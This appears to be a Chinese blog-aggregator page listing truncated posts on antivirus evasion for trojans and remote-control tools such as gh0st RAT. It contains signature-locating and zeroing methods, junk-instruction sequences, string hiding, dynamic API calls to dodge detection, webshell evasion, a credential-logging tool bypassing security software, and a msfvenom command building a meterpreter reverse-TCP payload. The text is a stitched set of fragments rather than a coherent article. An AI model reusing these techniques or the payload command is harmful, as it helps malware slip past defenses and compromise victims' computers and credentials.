测试-免杀专题KaliLinux——shellcode-payload分离免杀反安全软件 anti-virus security software都是特别针对PE头文件的查杀当payload文件越
原创
2022-04-29 21:48:26
262阅读
源码免杀C++基础
都一样 正常安装就行
有的是这个版本
这三个解压到 覆盖
因为之前安装过了 就看下路径吧
最后 提一下Assist 安装需要 进入那个vc98 目录去 安装破解
如果缺dll 那就下一个加载就ok
原创
2021-08-16 09:43:41
929阅读
免杀环境——源码免杀之C++编译
源码免杀C++基础都一样 正常安装就行有的是这个版本这三个解压到 覆盖因为之前安装过了 就看下路径吧最后 提一下Assist 安装需要 进入那个vc98 目录去 安装破解如果缺dll 那就下一个加载就ok
源码免杀C++基础
源码免杀C++基础 技术交流 QQ群599020441 纪年科技aming
#1 花指令 + pass 高启发语句
#2 字符串隐藏利用工
原创
2021-12-31 09:33:52
1235阅读
源码免杀实战QQ 1285575001Wechat M010527技术交流 QQ群599020441纪年科技aming#1 看一下今天的马子Gh0st 改良版开始搞事免杀原理病毒样本 内存地址/段 分析师定位原始特征码01-----> a02-----> b03-----> c （异常/病毒）04-----> ...
原创
2021-07-18 21:44:16
946阅读
远控软件gh0st源码免杀2010-12-13 14:57远控软件gh0st3.6开源了，开源意味
着我们可以在此基础上进行二次开发，同时也意味着杀软可以较容易的查杀该款
远控木马，既然要利用，我们就做好源码基础上的木马免杀工作。
好久没有来博客了，我把免杀这部分整理了一下，先抛一砖头，有兴趣的朋友可
以接着做，也可以和
原创
2011-12-21 06:58:39
5084阅读
点赞
源码免杀QQ 1285575001Wechat M010527技术交流 QQ群599020441纪年科技aming特征码免杀（淘汰）特征码免杀定位（受干扰）360云引擎（环境变杀）断网 防上传 本地—> 联网（加体积-防干扰、上传） ——>云特征码特别多 用PE软件dump下 有效减少特征查杀定位小马 PE优化 （定位小马区段清零/随机再查杀）保护无...
原创
2021-07-18 20:19:36
1029阅读
经测试，这种方式无法攻击windows10，因为它有defender，我们一旦运行起来，defender就会/x/meterpreter/reverse_tcp LPORT=13338 LHOST=192....
原创
2022-02-28 11:07:56
310阅读
经测试，这种方式无法攻击windows10，因为它有defender，我们一旦运行起来，defender就会把它干死不过，在电脑上装了360安全卫士的情况下，defender会被抑制，我们的后门就可以正常运行了先使用msfvenom生成shellcodemsfvenom -p windows/x64/meterpreter/reverse_tcp LPORT=13338 LHOST=192....
原创
2021-06-29 11:08:00
1021阅读
测试
转载
2012-02-14 07:30:59
316阅读
WinPswLogger免杀过360提示未能成功，目前没有找到什么好的方法，过其它的杀软方法如下：诺顿和symantec： ret = Hijack_LsaApLogonUserEx2(hProc, m_szLogFileName); strcpy(ParamContent.szOutFormat, "[%02d/%02d/%d...
原创
2021-07-24 18:52:08
184阅读
干货|免杀-C加载器免杀尝试哆啦安全|知识星球上线啦(优惠券活动即将到期)！！！微信公众号
原创
2021-12-14 09:21:43
865阅读
通过代码直接调用System.Management，替代powershell.exe c#代码，保存为1.cs： using System.Collections.ObjectModel; using System.Management.Automation; using System.Manage ...
转载
2021-07-17 23:39:00
1577阅读
2评论
(一)、免杀应注意的事项: 1.免杀的测试(在线杀毒、杀毒软件上报、世界反毒网:http://www.virustotal.com/zh-cn/) 在这里我建议大家不要上传自己的马到这样的网站上去.一上传不要多久就会被杀了.大家还是把杀软装在自己的电脑，然后测试比较好. 2.一个好的免杀木马要过文件、内存、行为、主动防御等一些专杀软件. 3.目前一些常用的杀软有
原创
2009-07-25 22:12:58
2222阅读
2评论
一.关于免杀的来源 为了让我们的木马在各种杀毒软件的威胁下活的更久. 二.什么叫免杀和查杀 可分为二类: 1.文件免杀和查杀:不运行程序用杀毒软件进行对该程序的扫描，所得结果。 2.内存的免杀和查杀:判断的方法1运行后,用杀毒软件的内存查杀功能. 2用OD载入,
一.关于免杀的来源
为了让我们的木马在各种杀毒软件的威胁下活的更久.
二.什么叫免杀和查杀
可分为二类:
1.文件免杀和查杀:
转载
2010-02-13 02:48:28
667阅读
webshell免杀php 免杀jsp 免杀https://xz.aliyun.com/t/10937https://xz.aliyun.com/t/10989php 免杀传统php免杀变形
原创
2022-04-29 21:48:25
53阅读
#1 花指令 + pass 高启发语句
#2 字符串隐藏
利用工具
#3 动态调用
API 转到定义
动态调用 在原API 前，并且 改变原API位置函数
不要依赖软件 能手动写就自己手动改
****** 那软件有bug — 自动选择dll
原创
2021-07-13 10:56:58
514阅读
使用python一键生成免杀webshell
原创
2023-08-04 19:18:17
1042阅读
一： 灰鸽子免杀方法大全 在所有的版本中，黑防的鸽子算是比较好做免杀的了，今天在这里，我就用他做案例 一，最经典的OD一半一半定位法 我们把整个黑色标记的区域看成是没有修改的木马代码把它从中间切平均分成两半，把其中的一半用nop 填充掉，再用瑞星杀内存，如果杀掉了就说明特征代码在我们没有nop 掉的一半，没有杀到就说明我们刚刚nop的一半中含有特征代码。 所演示的情况是特征代码在没有no
转载
精选
2009-07-15 21:36:01
7146阅读
今天送上经典花指令
注:编写花指令,可参考以下成双指令,可任意自由组合.达到免杀效果. push ebp pop ebp push eax pop eax push esp pop esp push 0 push 0 push 10 -------其中数字可以任意,注意与下面对应 push -10 nop -----------可任意在中间添加 与它等效的: mov EDI,EDIadd esp
原创
2010-09-30 13:23:52
2215阅读
假设我们的特征码定位在MessageBoxA函数的地址（只是举个例子，一般这个函数不会被杀，其他函数也类似方法）那么我们到源码里面发现，我们在PrintMsg函数中调用了这个API函数，那么我们就要对他进行处理。对于输入表被查杀我们一般的处理方法是修改函数的调用方式，比如采用dll动态调用，通过上图，我们知道我们是以非unicode方式编译的MessageBox，他对应的非Unicode的函数为MessageBoxA，同时我们也得到这个MessageBoxA函数在UER32.dll文件中。那么我们修改MessageBox的调用方式为dll的动态调用，其代码修改成：typedef int (WI
转载
2012-10-31 09:03:00
322阅读
2评论
